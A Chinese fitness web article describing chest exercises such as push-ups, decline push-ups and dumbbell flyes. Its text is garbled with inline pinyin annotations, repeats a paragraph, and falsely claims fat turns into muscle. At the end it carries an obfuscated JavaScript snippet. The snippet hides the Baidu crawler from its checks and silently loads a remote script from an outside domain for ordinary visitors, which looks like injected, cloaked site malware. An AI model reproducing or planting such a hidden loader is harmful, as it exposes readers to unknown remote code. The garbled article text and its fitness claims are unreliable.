當(dāng)前位置:首頁 > 健康 > 運(yùn)動(dòng)健身 > 正文

胸部肌肉訓(xùn)練方法有哪些呢

2017-04-16 13:29:12  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:擁有強(qiáng)壯寬厚的肩膀一直以來是每個(gè)女孩子的夢想,隨著現(xiàn)在工作壓力越來越大,生活的節(jié)奏在加快,有不少人已經(jīng)沒有時(shí)間去鍛煉身體了,看著自

擁有強(qiáng)壯寬厚的肩膀一直以來是每個(gè)女孩子的夢想,隨著現(xiàn)在工作壓力越來越大,生活的節(jié)奏在加快,有不少人已經(jīng)沒有時(shí)間去鍛煉身體了,看著自己身上越來越多的肥肉,不僅影響外觀,也影響到了身體健康,健身室設(shè)肌肉的訓(xùn)練也很重要,那么胸部肌肉訓(xùn)練方法有哪些呢!

寬厚的胸膛是贊美男性身材的慣用語,健美的男性胸部應(yīng)寬厚結(jié)實(shí),而肥胖、胸肌松弛都會(huì)影響胸部健美,同時(shí)肥胖也會(huì)增加疾病的機(jī)會(huì)。建議經(jīng)常采用體育鍛煉的方式改善胸部形態(tài),對(duì)初練者,重點(diǎn)是掌握技術(shù)規(guī)范動(dòng)作,為以后鍛煉做準(zhǔn)備。

寬厚的胸膛是贊美男性身材的慣用語,健美的男性胸部應(yīng)寬厚結(jié)實(shí),而肥胖、胸肌松弛都會(huì)影響胸部健美,同時(shí)肥胖也會(huì)增加疾病的機(jī)會(huì)。建議經(jīng)常采用體育鍛煉的方式改善胸部形態(tài),對(duì)初練者,重點(diǎn)是掌握技術(shù)規(guī)范動(dòng)作,為以后鍛煉做準(zhǔn)備。

俯臥撐

俯臥撐是最常見和最基本的胸部訓(xùn)練項(xiàng)目。俯臥撐鍛煉胸部、肩部、手臂、背部肌肉。

俯臥撐做法:

1. 雙手間距稍寬于肩,兩臂俯撐,身體伸直,兩腳腳尖著地,肩胛骨略向前傾,頭稍抬起,眼看地面。

2. 呼氣, 兩上臂貼近體側(cè)屈肘,慢慢下降到最低位置。使肩關(guān)節(jié)收緊,胸大肌充分拉長,頭部向前探,當(dāng)胸腔內(nèi)有完全擴(kuò)張的感覺時(shí),稍停。呼氣的同時(shí)伸臂,直至兩臂伸直,胸部挺起。全身應(yīng)保持挺直的姿勢,稍停,再重復(fù)練習(xí)。

俯臥撐動(dòng)作要點(diǎn):手指向前,直逼支撐,肩關(guān)節(jié)應(yīng)前傾10-15度。撐起時(shí),身體應(yīng)稍向前呈弧線上升,使胸部向前挺出,將意念集中在胸部。保持均勻的呼吸節(jié)奏,下落時(shí)吸氣,撐起時(shí)呼氣。

下斜俯臥撐

將兩腳放在椅上支撐,兩手的距離與肩同寬,放置在地上,身體平直,面部自然向下,下顎內(nèi)收。

以后撐得腳部位支點(diǎn),使身體下降到胸部幾乎觸地,停留2-3秒后再緩慢推起。做重復(fù)動(dòng)作。

動(dòng)作要點(diǎn):兩手撐于地面,兩腳尖支撐在凳子上,身體下傾。下落到最低點(diǎn)時(shí)盡量保持手、肘、肩在同一平面。保持均勻的呼吸節(jié)奏,下落時(shí)吸氣,上起時(shí)呼氣。

仰臥啞鈴飛鳥

仰臥啞鈴飛鳥適于鍛煉胸部、肩部、上臂肱三頭肌群。

動(dòng)作要點(diǎn):兩腿分開平躺在平凳上,雙手掌心相對(duì)握住啞鈴。 兩臂用力向上舉起時(shí),手臂仍保持微屈,并使胸腔挺起,胸大肌收緊。

每個(gè)男性都想擁有強(qiáng)壯的胸肌和強(qiáng)壯的腹肌,想要練習(xí)胸肌和腹肌,需要從最基本的運(yùn)動(dòng)開始,比如俯臥撐,仰臥起坐,這幾種方法能夠快速的鍛煉自己胸部肌肉訓(xùn)練,經(jīng)過一段時(shí)間的練習(xí),會(huì)讓脂肪轉(zhuǎn)變?yōu)榧∪猓媳劭雌饋砀佑辛Α?/p>

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}